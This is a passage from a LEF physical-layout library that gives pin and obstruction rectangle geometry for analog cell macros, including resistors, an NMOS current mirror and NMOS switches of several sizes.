0.2400 0.0680 0.2720 0.9400 ; LAYER M1 ; RECT 0.2400 0.0680 0.3360 0.1000 ; LAYER M1 ; RECT 0.3040 0.0680 0.3360 0.9400 ; LAYER M1 ; RECT 0.3040 0.9080 0.4000 0.9400 ; LAYER M1 ; RECT 0.3680 0.0680 0.4000 0.9400 ; LAYER M1 ; RECT 0.3680 0.0680 0.4640 0.1000 ; LAYER M1 ; RECT 0.4320 0.0680 0.4640 0.9400 ; LAYER M1 ; RECT 0.4320 0.9080 0.5280 0.9400 ; LAYER M1 ; RECT 0.4960 0.0680 0.5280 0.9400 ; LAYER M1 ; RECT 0.4960 0.0680 0.5920 0.1000 ; LAYER M1 ; RECT 0.5600 0.0480 0.5920 0.9600 ; END END Res_500 MACRO Res_800 ORIGIN 0 0 ; FOREIGN Res_800 0 0 ; SIZE 0.9600 BY 1.0080 ; PIN PLUS DIRECTION INOUT ; USE SIGNAL ; PORT LAYER M2 ; RECT 0.0000 0.0680 0.1000 0.1000 ; END END PLUS PIN MINUS DIRECTION INOUT ; USE SIGNAL ; PORT LAYER M2 ; RECT 0.8600 0.0680 0.9600 0.1000 ; END END MINUS OBS LAYER M1 ; RECT 0.0480 0.0480 0.0800 0.9600 ; LAYER M1 ; RECT 0.0480 0.9080 0.1440 0.9400 ; LAYER M1 ; RECT 0.1120 0.0680 0.1440 0.9400 ; LAYER M1 ; RECT 0.1120 0.0680 0.2080 0.1000 ; LAYER M1 ; RECT 0.1760 0.0680 0.2080 0.9400 ; LAYER M1 ; RECT 0.1760 0.9080 0.2720 0.9400 ; LAYER M1 ; RECT 0.2400 0.0680 0.2720 0.9400 ; LAYER M1 ; RECT 0.2400 0.0680 0.3360 0.1000 ; LAYER M1 ; RECT 0.3040 0.0680 0.3360 0.9400 ; LAYER M1 ; RECT 0.3040 0.9080 0.4000 0.9400 ; LAYER M1 ; RECT 0.3680 0.0680 0.4000 0.9400 ; LAYER M1 ; RECT 0.3680 0.0680 0.4640 0.1000 ; LAYER M1 ; RECT 0.4320 0.0680 0.4640 0.9400 ; LAYER M1 ; RECT 0.4320 0.9080 0.5280 0.9400 ; LAYER M1 ; RECT 0.4960 0.0680 0.5280 0.9400 ; LAYER M1 ; RECT 0.4960 0.0680 0.5920 0.1000 ; LAYER M1 ; RECT 0.5600 0.0680 0.5920 0.9400 ; LAYER M1 ; RECT 0.5600 0.9080 0.6560 0.9400 ; LAYER M1 ; RECT 0.6240 0.0680 0.6560 0.9400 ; LAYER M1 ; RECT 0.6240 0.0680 0.7200 0.1000 ; LAYER M1 ; RECT 0.6880 0.0680 0.7200 0.9400 ; LAYER M1 ; RECT 0.6880 0.9080 0.7840 0.9400 ; LAYER M1 ; RECT 0.7520 0.0680 0.7840 0.9400 ; LAYER M1 ; RECT 0.7520 0.0680 0.8480 0.1000 ; LAYER M1 ; RECT 0.8160 0.0680 0.8480 0.9400 ; LAYER M1 ; RECT 0.8160 0.9080 0.9120 0.9400 ; LAYER M1 ; RECT 0.8800 0.0480 0.9120 0.9600 ; END END Res_800 MACRO Res_900 ORIGIN 0 0 ; FOREIGN Res_900 0 0 ; SIZE 1.0880 BY 1.0080 ; PIN PLUS DIRECTION INOUT ; USE SIGNAL ; PORT LAYER M2 ; RECT 0.0000 0.0680 0.1000 0.1000 ; END END PLUS PIN MINUS DIRECTION INOUT ; USE SIGNAL ; PORT LAYER M2 ; RECT 0.9880 0.0680 1.0880 0.1000 ; END END MINUS OBS LAYER M1 ; RECT 0.0480 0.0480 0.0800 0.9600 ; LAYER M1 ; RECT 0.0480 0.9080 0.1440 0.9400 ; LAYER M1 ; RECT 0.1120 0.0680 0.1440 0.9400 ; LAYER M1 ; RECT 0.1120 0.0680 0.2080 0.1000 ; LAYER M1 ; RECT 0.1760 0.0680 0.2080 0.9400 ; LAYER M1 ; RECT 0.1760 0.9080 0.2720 0.9400 ; LAYER M1 ; RECT 0.2400 0.0680 0.2720 0.9400 ; LAYER M1 ; RECT 0.2400 0.0680 0.3360 0.1000 ; LAYER M1 ; RECT 0.3040 0.0680 0.3360 0.9400 ; LAYER M1 ; RECT 0.3040 0.9080 0.4000 0.9400 ; LAYER M1 ; RECT 0.3680 0.0680 0.4000 0.9400 ; LAYER M1 ; RECT 0.3680 0.0680 0.4640 0.1000 ; LAYER M1 ; RECT 0.4320 0.0680 0.4640 0.9400 ; LAYER M1 ; RECT 0.4320 0.9080 0.5280 0.9400 ; LAYER M1 ; RECT 0.4960 0.0680 0.5280 0.9400 ; LAYER M1 ; RECT 0.4960 0.0680 0.5920 0.1000 ; LAYER M1 ; RECT 0.5600 0.0680 0.5920 0.9400 ; LAYER M1 ; RECT 0.5600 0.9080 0.6560 0.9400 ; LAYER M1 ; RECT 0.6240 0.0680 0.6560 0.9400 ; LAYER M1 ; RECT 0.6240 0.0680 0.7200 0.1000 ; LAYER M1 ; RECT 0.6880 0.0680 0.7200 0.9400 ; LAYER M1 ; RECT 0.6880 0.9080 0.7840 0.9400 ; LAYER M1 ; RECT 0.7520 0.0680 0.7840 0.9400 ; LAYER M1 ; RECT 0.7520 0.0680 0.8480 0.1000 ; LAYER M1 ; RECT 0.8160 0.0680 0.8480 0.9400 ; LAYER M1 ; RECT 0.8160 0.9080 0.9120 0.9400 ; LAYER M1 ; RECT 0.8800 0.0680 0.9120 0.9400 ; LAYER M1 ; RECT 0.8800 0.0680 0.9760 0.1000 ; LAYER M1 ; RECT 0.9440 0.0680 0.9760 0.9400 ; LAYER M1 ; RECT 0.9440 0.9080 1.0400 0.9400 ; LAYER M1 ; RECT 1.0080 0.0480 1.0400 0.9600 ; END END Res_900 MACRO SCM_NMOS_n10_X4_Y4 ORIGIN 0 0 ; FOREIGN SCM_NMOS_n10_X4_Y4 0 0 ; SIZE 6.4000 BY 0.9240 ; PIN S DIRECTION INOUT ; USE SIGNAL ; PORT LAYER M2 ; RECT 0.2040 0.2360 6.1960 0.2680 ; END END S PIN D1 DIRECTION INOUT ; USE SIGNAL ; PORT LAYER M2 ; RECT 0.2040 0.3200 6.1960 0.3520 ; END END D1 PIN D2 DIRECTION INOUT ; USE SIGNAL ; PORT LAYER M2 ; RECT 0.2040 0.4880 6.1960 0.5200 ; END END D2 PIN G2 DIRECTION INOUT ; USE SIGNAL ; PORT LAYER M2 ; RECT 0.2040 0.1520 6.1960 0.1840 ; END END G2 OBS LAYER M1 ; RECT 2.7840 0.1320 2.8160 0.7080 ; LAYER M1 ; RECT 3.4240 0.1320 3.4560 0.7080 ; LAYER M1 ; RECT 0.2240 0.1320 0.2560 0.7080 ; LAYER M1 ; RECT 0.8640 0.1320 0.8960 0.7080 ; LAYER M1 ; RECT 1.5040 0.1320 1.5360 0.7080 ; LAYER M1 ; RECT 2.1440 0.1320 2.1760 0.7080 ; LAYER M1 ; RECT 4.0640 0.1320 4.0960 0.7080 ; LAYER M1 ; RECT 4.7040 0.1320 4.7360 0.7080 ; LAYER M1 ; RECT 5.3440 0.1320 5.3760 0.7080 ; LAYER M1 ; RECT 5.9840 0.1320 6.0160 0.7080 ; LAYER M1 ; RECT 2.9440 0.1320 2.9760 0.7080 ; LAYER M1 ; RECT 3.5840 0.1320 3.6160 0.7080 ; LAYER M1 ; RECT 0.3840 0.1320 0.4160 0.7080 ; LAYER M1 ; RECT 1.0240 0.1320 1.0560 0.7080 ; LAYER M1 ; RECT 1.6640 0.1320 1.6960 0.7080 ; LAYER M1 ; RECT 2.3040 0.1320 2.3360 0.7080 ; LAYER M1 ; RECT 4.2240 0.1320 4.2560 0.7080 ; LAYER M1 ; RECT 4.8640 0.1320 4.8960 0.7080 ; LAYER M1 ; RECT 5.5040 0.1320 5.5360 0.7080 ; LAYER M1 ; RECT 6.1440 0.1320 6.1760 0.7080 ; LAYER M1 ; RECT 2.8640 0.1320 2.8960 0.7080 ; LAYER M1 ; RECT 3.5040 0.1320 3.5360 0.7080 ; LAYER M1 ; RECT 0.3040 0.1320 0.3360 0.7080 ; LAYER M1 ; RECT 0.9440 0.1320 0.9760 0.7080 ; LAYER M1 ; RECT 1.5840 0.1320 1.6160 0.7080 ; LAYER M1 ; RECT 2.2240 0.1320 2.2560 0.7080 ; LAYER M1 ; RECT 4.1440 0.1320 4.1760 0.7080 ; LAYER M1 ; RECT 4.7840 0.1320 4.8160 0.7080 ; LAYER M1 ; RECT 5.4240 0.1320 5.4560 0.7080 ; LAYER M1 ; RECT 6.0640 0.1320 6.0960 0.7080 ; END END SCM_NMOS_n10_X4_Y4 MACRO Switch_NMOS_n10_X3_Y1 ORIGIN 0 0 ; FOREIGN Switch_NMOS_n10_X3_Y1 0 0 ; SIZE 1.9200 BY 0.9240 ; PIN S DIRECTION INOUT ; USE SIGNAL ; PORT LAYER M2 ; RECT 0.2040 0.2360 1.7160 0.2680 ; END END S PIN G DIRECTION INOUT ; USE SIGNAL ; PORT LAYER M2 ; RECT 0.2040 0.1520 1.7160 0.1840 ; END END G PIN D DIRECTION INOUT ; USE SIGNAL ; PORT LAYER M2 ; RECT 0.2040 0.3200 1.7160 0.3520 ; END END D OBS LAYER M1 ; RECT 0.2240 0.1320 0.2560 0.7080 ; LAYER M1 ; RECT 0.8640 0.1320 0.8960 0.7080 ; LAYER M1 ; RECT 1.5040 0.1320 1.5360 0.7080 ; LAYER M1 ; RECT 0.3840 0.1320 0.4160 0.7080 ; LAYER M1 ; RECT 1.0240 0.1320 1.0560 0.7080 ; LAYER M1 ; RECT 1.6640 0.1320 1.6960 0.7080 ; LAYER M1 ; RECT 0.3040 0.1320 0.3360 0.7080 ; LAYER M1 ; RECT 0.9440 0.1320 0.9760 0.7080 ; LAYER M1 ; RECT 1.5840 0.1320 1.6160 0.7080 ; END END Switch_NMOS_n10_X3_Y1 MACRO Switch_NMOS_n10_X4_Y2 ORIGIN 0 0 ; FOREIGN Switch_NMOS_n10_X4_Y2 0 0 ; SIZE 2.5600 BY 1.7640 ; PIN S DIRECTION INOUT ; USE SIGNAL ; PORT LAYER M2 ; RECT 0.2040 0.2360 2.3560 0.2680 ; LAYER M2 ; RECT 0.2040 1.0760 2.3560 1.1080 ; END END S PIN G DIRECTION INOUT ; USE SIGNAL ; PORT LAYER M2 ; RECT 0.2040 0.1520 2.3560 0.1840 ; LAYER M2 ; RECT 0.2040 0.9920 2.3560 1.0240 ; END END G PIN D DIRECTION INOUT ; USE SIGNAL ; PORT LAYER M2 ; RECT 0.2040 0.3200 2.3560 0.3520 ; LAYER M2 ; RECT 0.2040 1.1600 2.3560 1.1920 ; END END D OBS LAYER M3 ; RECT 0.2240 0.2160 0.2560 1.1280 ; LAYER M3 ; RECT 0.3040 0.1320 0.3360 1.0440 ; LAYER M3 ; RECT 0.3840 0.3000 0.4160 1.2120 ; LAYER M1 ; RECT 0.2240 0.1320 0.2560 0.7080 ; LAYER M1 ; RECT 0.8640 0.1320 0.8960 0.7080 ; LAYER M1 ; RECT 1.5040 0.1320 1.5360 0.7080 ; LAYER M1 ; RECT 2.1440 0.1320 2.1760 0.7080 ; LAYER M1 ; RECT 0.3840 0.1320 0.4160 0.7080 ; LAYER M1 ; RECT 1.0240 0.1320 1.0560 0.7080 ; LAYER M1 ; RECT 1.6640 0.1320 1.6960 0.7080 ; LAYER M1 ; RECT 2.3040 0.1320 2.3360 0.7080 ; LAYER M1 ; RECT 0.3040 0.1320 0.3360 0.7080 ; LAYER M1 ; RECT 0.9440 0.1320 0.9760 0.7080 ; LAYER M1 ; RECT 1.5840 0.1320 1.6160 0.7080 ; LAYER M1 ; RECT 2.2240 0.1320 2.2560 0.7080 ; LAYER M1 ; RECT 0.2240 0.9720 0.2560 1.5480 ; LAYER M1 ; RECT 0.8640 0.9720 0.8960 1.5480 ; LAYER M1 ; RECT 1.5040 0.9720 1.5360 1.5480 ; LAYER M1 ; RECT 2.1440 0.9720 2.1760 1.5480 ; LAYER M1 ; RECT 0.3840 0.9720 0.4160 1.5480 ; LAYER M1 ; RECT 1.0240 0.9720 1.0560 1.5480 ; LAYER M1 ; RECT 1.6640 0.9720 1.6960 1.5480 ; LAYER M1 ; RECT 2.3040 0.9720 2.3360 1.5480 ; LAYER M1 ; RECT 0.3040 0.9720 0.3360 1.5480 ; LAYER M1 ; RECT 0.9440 0.9720 0.9760 1.5480 ; LAYER M1 ; RECT 1.5840 0.9720 1.6160 1.5480 ; LAYER M1 ; RECT 2.2240 0.9720 2.2560 1.5480 ; END END Switch_NMOS_n10_X4_Y2 MACRO Switch_NMOS_n10_X4_Y4 ORIGIN 0 0 ; FOREIGN Switch_NMOS_n10_X4_Y4 0 0 ; SIZE 2.5600 BY 3.4440 ; PIN S DIRECTION INOUT ; USE SIGNAL ; PORT LAYER M2 ; RECT 0.2040 0.2360 2.3560 0.2680 ; LAYER M2 ; RECT 0.2040 1.0760 2.3560 1.1080 ; LAYER M2 ; RECT 0.2040 1.9160 2.3560 1.9480 ; LAYER M2 ; RECT 0.2040 2.7560 2.3560 2.7880 ; END END S PIN G DIRECTION INOUT ; USE SIGNAL ; PORT LAYER M2 ; RECT 0.2040 0.1520 2.3560 0.1840 ; LAYER M2 ; RECT 0.2040 0.9920 2.3560 1.0240 ; LAYER M2 ; RECT 0.2040 1.8320 2.3560 1.8640 ; LAYER M2 ; RECT 0.2040 2.6720 2.3560 2.7040 ; END END G PIN D DIRECTION INOUT ; USE SIGNAL ; PORT LAYER M2 ; RECT 0.2040 0.3200 2.3560 0.3520 ; LAYER M2 ; RECT 0.2040 1.1600 2.3560 1.1920 ; LAYER M2 ; RECT 0.2040 2.0000 2.3560 2.0320 ; LAYER M2 ; RECT 0.2040 2.8400 2.3560 2.8720 ; END END D OBS LAYER M3 ; RECT 0.2240 0.2160 0.2560 2.8080 ; LAYER M3 ; RECT 0.3040 0.1320 0.3360 2.7240 ; LAYER M3 ; RECT 0.3840 0.3000 0.4160 2.8920 ; LAYER M1 ; RECT 0.2240 0.1320 0.2560 0.7080 ; LAYER M1 ; RECT 0.8640 0.1320 0.8960 0.7080 ; LAYER M1 ; RECT 1.5040 0.1320 1.5360 0.7080 ; LAYER M1 ; RECT 2.1440 0.1320 2.1760 0.7080 ; LAYER M1 ; RECT 0.3840 0.1320 0.4160 0.7080 ; LAYER M1 ; RECT 1.0240 0.1320 1.0560 0.7080 ; LAYER M1 ; RECT 1.6640 0.1320 1.6960 0.7080 ; LAYER M1 ; RECT 2.3040 0.1320 2.3360 0.7080 ; LAYER M1 ; RECT 0.3040 0.1320 0.3360 0.7080 ; LAYER M1 ; RECT 0.9440 0.1320 0.9760 0.7080 ; LAYER M1 ; RECT 1.5840 0.1320 1.6160 0.7080 ; LAYER M1 ; RECT 2.2240 0.1320 2.2560 0.7080 ; LAYER M1 ; RECT 0.2240 0.9720 0.2560 1.5480 ; LAYER M1 ; RECT 0.8640 0.9720 0.8960 1.5480 ; LAYER M1 ; RECT 1.5040 0.9720 1.5360 1.5480 ; LAYER M1 ; RECT 2.1440 0.9720 2.1760 1.5480 ; LAYER M1 ; RECT 0.3840 0.9720 0.4160 1.5480 ; LAYER M1 ; RECT 1.0240 0.9720 1.0560 1.5480 ; LAYER M1 ; RECT 1.6640 0.9720 1.6960 1.5480 ; LAYER M1 ; RECT 2.3040 0.9720 2.3360 1.5480 ; LAYER M1 ; RECT 0.3040 0.9720 0.3360 1.5480 ; LAYER M1 ; RECT 0.9440 0.9720 0.9760 1.5480 ; LAYER M1 ; RECT 1.5840 0.9720 1.6160 1.5480 ; LAYER M1 ; RECT 2.2240 0.9720 2.2560 1.5480 ; LAYER M1 ; RECT 0.2240 1.8120 0.2560 2.3880 ; LAYER M1 ; RECT 0.8640 1.8120 0.8960 2.3880 ; LAYER M1 ; RECT 1.5040 1.8120 1.5360 2.3880 ; LAYER M1 ; RECT 2.1440 1.8120 2.1760 2.3880 ; LAYER M1 ; RECT 0.3840 1.8120 0.4160 2.3880 ; LAYER M1 ; RECT 1.0240 1.8120 1.0560 2.3880 ; LAYER M1 ; RECT 1.6640 1.8120 1.6960 2.3880 ; LAYER M1 ; RECT 2.3040 1.8120 2.3360 2.3880 ; LAYER M1 ; RECT 0.3040 1.8120 0.3360 2.3880 ; LAYER M1 ; RECT 0.9440 1.8120 0.9760 2.3880 ; LAYER M1 ; RECT 1.5840 1.8120 1.6160 2.3880 ; LAYER M1 ; RECT 2.2240 1.8120 2.2560 2.3880 ; LAYER M1 ; RECT 0.2240 2.6520 0.2560 3.2280 ; LAYER M1 ; RECT 0.8640 2.6520 0.8960 3.2280 ; LAYER M1 ; RECT 1.5040 2.6520 1.5360 3.2280 ; LAYER M1 ; RECT 2.1440 2.6520 2.1760 3.2280 ; LAYER M1 ; RECT 0.3840 2.6520 0.4160 3.2280 ; LAYER M1 ; RECT 1.0240 2.6520 1.0560 3.2280 ; LAYER M1 ; RECT 1.6640 2.6520 1.6960 3.2280 ; LAYER M1 ; RECT 2.3040 2.6520 2.3360 3.2280 ; LAYER M1 ; RECT 0.3040 2.6520 0.3360 3.2280 ; LAYER M1 ; RECT 0.9440 2.6520 0.9760 3.2280 ; LAYER M1 ; RECT 1.5840 2.6520 1.6160 3.2280 ; LAYER M1 ; RECT 2.2240 2.6520 2.2560 3.2280 ; END END Switch_NMOS_n10_X4_Y4 MACRO Switch_NMOS_n10_X5_Y2 ORIGIN 0 0 ; FOREIGN Switch_NMOS_n10_X5_Y2 0 0 ; SIZE 3.2000 BY 1.7640 ; PIN S DIRECTION INOUT ; USE SIGNAL ; PORT LAYER M2 ; RECT 0.2040 0.2360 2.9960 0.2680 ; LAYER M2 ; RECT 0.2040 1.0760 2.9960 1.1080 ; END END S PIN G DIRECTION INOUT ; USE SIGNAL ; PORT LAYER M2 ; RECT 0.2040 0.1520 2.9960 0.1840 ; LAYER M2 ; RECT 0.2040 0.9920 2.9960 1.0240 ; END END G PIN D DIRECTION INOUT ; USE SIGNAL ; PORT LAYER M2 ; RECT 0.2040 0.3200 2.9960 0.3520 ; LAYER M2 ; RECT 0.2040 1.1600 2.9960 1.1920 ; END END D OBS LAYER M3 ; RECT 0.2240 0.2160 0.2560 1.1280 ; LAYER M3 ; RECT 0.3040 0.1320 0.3360 1.0440 ; LAYER M3 ; RECT 0.3840 0.3000 0.4160 1.2120 ; LAYER M1 ; RECT 0.2240 0.1320 0.2560 0.7080 ; LAYER M1 ; RECT 0.8640 0.1320 0.8960 0.7080 ; LAYER M1 ; RECT 1.5040 0.1320 1.5360 0.7080 ; LAYER M1 ; RECT 2.1440 0.1320 2.1760 0.7080 ; LAYER M1 ; RECT 2.7840 0.1320 2.8160 0.7080 ; LAYER M1 ; RECT 0.3840 0.1320 0.4160 0.7080 ; LAYER M1 ; RECT 1.0240 0.1320 1.0560 0.7080 ; LAYER M1 ; RECT 1.6640 0.1320 1.6960 0.7080 ; LAYER M1 ; RECT 2.3040 0.1320 2.3360 0.7080 ; LAYER M1 ; RECT 2.9440 0.1320 2.9760 0.7080 ; LAYER M1 ; RECT 0.3040 0.1320 0.3360 0.7080 ; LAYER M1 ; RECT 0.9440 0.1320 0.9760 0.7080 ; LAYER M1 ; RECT 1.5840 0.1320 1.6160 0.7080 ; LAYER M1 ; RECT 2.2240 0.1320 2.2560 0.7080 ; LAYER M1 ; RECT 2.8640 0.1320 2.8960 0.7080 ; LAYER M1 ; RECT 0.2240 0.9720 0.2560 1.5480 ; LAYER M1 ; RECT 0.8640 0.9720 0.8960 1.5480 ; LAYER M1 ; RECT 1.5040 0.9720 1.5360 1.5480 ; LAYER M1 ; RECT 2.1440 0.9720 2.1760 1.5480 ; LAYER M1 ; RECT 2.7840 0.9720 2.8160 1.5480 ; LAYER M1 ; RECT 0.3840 0.9720 0.4160 1.5480 ; LAYER M1 ; RECT 1.0240 0.9720 1.0560 1.5480 ; LAYER M1 ; RECT 1.6640 0.9720 1.6960 1.5480 ; LAYER M1 ; RECT 2.3040 0.9720 2.3360 1.5480 ; LAYER M1 ; RECT 2.9440 0.9720 2.9760 1.5480 ; LAYER M1 ; RECT 0.3040 0.9720 0.3360 1.5480 ; LAYER M1 ; RECT 0.9440 0.9720 0.9760 1.5480 ; LAYER M1 ; RECT 1.5840 0.9720 1.6160 1.5480 ; LAYER M1 ; RECT 2.2240 0.9720 2.2560 1.5480 ; LAYER M1 ; RECT 2.8640 0.9720 2.8960 1.5480 ; END END Switch_NMOS_n10_X5_Y2 MACRO Switch_NMOS_n10_X8_Y4 ORIGIN 0 0 ; FOREIGN Switch_NMOS_n10_X8_Y4 0 0 ; SIZE 5.1200 BY 3.4440 ; PIN S DIRECTION INOUT ; USE SIGNAL ; PORT LAYER M2 ; RECT 0.2040 0.2360 4.9160 0.2680 ; LAYER M2 ; RECT 0.2040 1.0760 4.9160 1.1080 ; LAYER M2 ; RECT 0.2040 1.9160 4.9160 1.9480 ; LAYER M2 ; RECT 0.2040 2.7560 4.9160 2.7880 ; END END S PIN G DIRECTION INOUT ; USE SIGNAL ; PORT LAYER M2 ; RECT 0.2040 0.1520 4.9160 0.1840 ; LAYER M2 ; RECT 0.2040 0.9920 4.9160 1.0240 ; LAYER M2 ; RECT 0.2040 1.8320 4.9160 1.8640 ; LAYER M2 ; RECT 0.2040 2.6720 4.9160 2.7040 ; END END G PIN D DIRECTION INOUT ; USE SIGNAL ; PORT LAYER M2 ; RECT 0.2040 0.3200 4.9160 0.3520 ; LAYER M2 ; RECT 0.2040 1.1600 4.9160 1.1920 ; LAYER M2 ; RECT 0.2040 2.0000 4.9160 2.0320 ; LAYER M2 ; RECT 0.2040 2.8400 4.9160 2.8720 ; END END D OBS LAYER M3 ; RECT 0.2240 0.2160 0.2560 2.8080 ; LAYER M3 ; RECT 0.3040 0.1320 0.3360 2.7240 ; LAYER M3 ; RECT 0.3840 0.3000 0.4160 2.8920 ; LAYER M1 ; RECT 0.2240 0.1320 0.2560 0.7080 ; LAYER M1 ; RECT 0.8640 0.1320 0.8960 0.7080 ; LAYER M1 ; RECT 1.5040 0.1320 1.5360 0.7080 ; LAYER M1 ; RECT 2.1440 0.1320 2.1760 0.7080 ; LAYER M1 ; RECT 2.7840 0.1320 2.8160 0.7080 ; LAYER M1 ; RECT 3.4240 0.1320 3.4560 0.7080 ; LAYER M1 ; RECT 4.0640 0.1320 4.0960 0.7080 ; LAYER M1 ; RECT 4.7040 0.1320 4.7360 0.7080 ; LAYER M1 ; RECT 0.3840 0.1320 0.4160 0.7080 ; LAYER M1 ; RECT 1.0240 0.1320 1.0560 0.7080 ; LAYER M1 ; RECT 1.6640 0.1320 1.6960 0.7080 ; LAYER M1 ; RECT 2.3040 0.1320 2.3360 0.7080 ; LAYER M1 ; RECT 2.9440 0.1320 2.9760 0.7080 ; LAYER M1 ; RECT 3.5840 0.1320 3.6160 0.7080 ; LAYER M1 ; RECT 4.2240 0.1320 4.2560 0.7080 ; LAYER M1 ; RECT 4.8640 0.1320 4.8960 0.7080 ; LAYER M1 ; RECT 0.3040 0.1320 0.3360 0.7080 ; LAYER M1 ; RECT 0.9440 0.1320 0.9760 0.7080 ; LAYER M1 ; RECT 1.5840 0.1320 1.6160 0.7080 ; LAYER M1 ; RECT 2.2240 0.1320 2.2560 0.7080 ; LAYER M1 ; RECT 2.8640 0.1320 2.8960 0.7080 ; LAYER M1 ; RECT 3.5040 0.1320 3.5360 0.7080 ; LAYER M1 ; RECT 4.1440 0.1320 4.1760 0.7080 ; LAYER M1 ; RECT 4.7840 0.1320 4.8160 0.7080 ; LAYER M1 ; RECT 0.2240 0.9720 0.2560 1.5480 ; LAYER M1 ; RECT 0.8640 0.9720 0.8960 1.5480 ; LAYER M1 ; RECT 1.5040 0.9720 1.5360 1.5480 ; LAYER M1 ; RECT 2.1440 0.9720 2.1760 1.5480 ; LAYER M1 ; RECT 2.7840 0.9720 2.8160 1.5480 ; LAYER M1 ; RECT 3.4240 0.9720 3.4560 1.5480 ; LAYER M1 ; RECT 4.0640 0.9720 4.0960 1.5480 ; LAYER M1 ; RECT 4.7040 0.9720 4.7360 1.5480 ; LAYER M1 ; RECT 0.3840 0.9720 0.4160 1.5480 ; LAYER M1 ; RECT 1.0240 0.9720 1.0560 1.5480 ; LAYER M1 ; RECT 1.6640 0.9720 1.6960 1.5480 ; LAYER M1 ; RECT 2.3040 0.9720 2.3360 1.5480 ; LAYER M1 ; RECT 2.9440 0.9720 2.9760 1.5480 ; LAYER M1 ; RECT 3.5840 0.9720 3.6160 1.5480 ; LAYER M1 ; RECT 4.2240 0.9720 4.2560 1.5480 ; LAYER M1 ; RECT 4.8640 0.9720 4.8960 1.5480 ; LAYER M1 ; RECT 0.3040 0.9720 0.3360 1.5480 ; LAYER M1 ; RECT 0.9440 0.9720 0.9760 1.5480 ; LAYER M1 ; RECT 1.5840 0.9720 1.6160 1.5480 ; LAYER M1 ; RECT 2.2240 0.9720 2.2560 1.5480 ; LAYER M1 ; RECT 2.8640 0.9720 2.8960 1.5480 ; LAYER M1 ; RECT 3.5040 0.9720 3.5360 1.5480 ; LAYER M1 ; RECT 4.1440 0.9720 4.1760 1.5480 ; LAYER M1 ; RECT 4.7840 0.9720 4.8160 1.5480 ; LAYER M1 ; RECT 0.2240 1.8120 0.2560 2.3880 ; LAYER M1 ; RECT 0.8640 1.8120 0.8960 2.3880 ; LAYER M1 ; RECT 1.5040 1.8120 1.5360 2.3880 ; LAYER M1 ; RECT 2.1440 1.8120 2.1760 2.3880 ; LAYER M1 ; RECT 2.7840 1.8120 2.8160 2.3880 ; LAYER M1 ; RECT 3.4240 1.8120 3.4560 2.3880 ; LAYER M1 ; RECT 4.0640 1.8120 4.0960 2.3880 ; LAYER M1 ; RECT 4.7040 1.8120 4.7360 2.3880 ; LAYER M1 ; RECT 0.3840 1.8120 0.4160 2.3880 ; LAYER M1 ; RECT 1.0240 1.8120 1.0560 2.3880 ; LAYER M1 ; RECT 1.6640 1.8120 1.6960 2.3880 ; LAYER M1 ; RECT 2.3040 1.8120 2.3360 2.3880 ; LAYER M1 ; RECT 2.9440 1.8120 2.9760 2.3880 ; LAYER M1 ; RECT 3.5840 1.8120 3.6160 2.3880 ; LAYER M1 ; RECT 4.2240 1.8120 4.2560 2.3880 ; LAYER M1 ; RECT 4.8640 1.8120 4.8960 2.3880 ; LAYER M1 ; RECT 0.3040 1.8120 0.3360 2.3880 ; LAYER M1 ; RECT 0.9440 1.8120 0.9760 2.3880 ; LAYER M1 ; RECT 1.5840 1.8120 1.6160 2.3880 ; LAYER M1 ; RECT 2.2240 1.8120 2.2560 2.3880 ; LAYER M1 ; RECT 2.8640 1.8120 2.8960 2.3880 ; LAYER M1 ; RECT 3.5040 1.8120 3.5360 2.3880 ; LAYER M1 ; RECT 4.1440 1.8120 4.1760 2.3880 ; LAYER M1 ; RECT 4.7840 1.8120 4.8160 2.3880 ; LAYER M1 ; RECT 0.2240 2.6520 0.2560 3.2280 ; LAYER M1 ; RECT 0.8640 2.6520 0.8960 3.2280 ; LAYER M1 ; RECT 1.5040 2.6520 1.5360 3.2280 ; LAYER M1 ; RECT 2.1440 2.6520 2.1760 3.2280 ; LAYER M1 ; RECT 2.7840 2.6520 2.8160 3.2280 ; LAYER M1 ; RECT 3.4240 2.6520 3.4560 3.2280 ; LAYER M1 ; RECT 4.0640 2.6520 4.0960 3.2280 ; LAYER M1 ; RECT 4.7040 2.6520 4.7360 3.2280 ; LAYER M1 ; RECT 0.3840 2.6520 0.4160 3.2280 ; LAYER M1 ; RECT 1.0240 2.6520 1.0560 3.2280 ; LAYER M1 ; RECT 1.6640 2.6520 1.6960 3.2280 ; LAYER M1 ; RECT 2.3040 2.6520 2.3360 3.2280 ; LAYER M1 ; RECT 2.9440 2.6520 2.9760 3.2280 ; LAYER M1 ; RECT 3.5840 2.6520 3.6160 3.2280 ; LAYER M1 ; RECT 4.2240 2.6520 4.2560 3.2280 ; LAYER M1 ; RECT 4.8640 2.6520 4.8960 3.2280 ; LAYER M1 ; RECT 0.3040 2.6520 0.3360 3.2280 ; LAYER M1 ; RECT 0.9440 2.6520 0.9760 3.2280 ; LAYER M1 ; RECT 1.5840 2.6520 1.6160 3.2280 ; LAYER M1 ; RECT 2.2240 2.6520 2.2560 3.2280 ; LAYER M1 ; RECT 2.8640 2.6520 2.8960 3.2280 ; LAYER M1 ; RECT 3.5040 2.6520 3.5360 3.2280 ; LAYER M1 ; RECT 4.1440 2.6520 4.1760 3.2280 ; LAYER M1 ; RECT 4.7840 2.6520 4.8160 3.2280 ; END END Switch_NMOS_n10_X8_Y4 MACRO Switch_NMOS_n10_X8_Y8 ORIGIN 0 0 ; FOREIGN Switch_NMOS_n10_X8_Y8 0 0 ; SIZE 5.1200 BY 6.8040 ; PIN S DIRECTION INOUT ; USE SIGNAL ; PORT LAYER M2 ; RECT 0.2040 0.2360 4.9160 0.2680 ; LAYER M2 ; RECT 0.2040 1.0760 4.9160 1.1080 ; LAYER M2 ; RECT 0.2040 1.9160 4.9160 1.9480 ; LAYER M2 ; RECT 0.2040 2.7560 4.9160 2.7880 ; LAYER M2 ; RECT 0.2040 3.5960 4.9160 3.6280 ; LAYER M2 ; RECT 0.2040 4.4360 4.9160 4.4680 ; LAYER M2 ; RECT 0.2040 5.2760 4.9160 5.3080 ; LAYER M2 ; RECT 0.2040 6.1160 4.9160 6.1480 ; END END S PIN G DIRECTION INOUT ; USE SIGNAL ; PORT LAYER M2 ; RECT 0.2040 0.1520 4.9160 0.1840 ; LAYER M2 ; RECT 0.2040 0.9920 4.9160 1.0240 ; LAYER M2 ; RECT 0.2040 1.8320 4.9160 1.8640 ; LAYER M2 ; RECT 0.2040 2.6720 4.9160 2.7040 ; LAYER M2 ; RECT 0.2040 3.5120 4.9160 3.5440 ; LAYER M2 ; RECT 0.2040 4.3520 4.9160 4.3840 ; LAYER M2 ; RECT 